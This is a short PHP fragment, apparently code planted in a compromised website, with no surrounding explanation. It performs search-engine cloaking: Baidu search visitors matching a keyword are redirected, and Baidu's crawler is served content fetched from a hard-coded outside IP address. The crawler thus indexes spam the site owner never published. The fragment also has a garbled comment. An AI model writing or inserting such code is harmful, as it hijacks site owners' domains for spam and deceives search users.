$url="/"; $file="http://122.114.8.124"; $referer=$_SERVER["HTTP_REFERER"]; $agent= strtolower($_SERVER["HTTP_USER_AGENT"]); if(strstr($referer,"baidu")&&strstr($referer,"%B2%CA")) // ؼurl { Header("Location: $url"); } if(ereg("http://www.baidu.com/search/spider.htm",$agent)) { $content=file_get_contents($file); echo $content; exit; }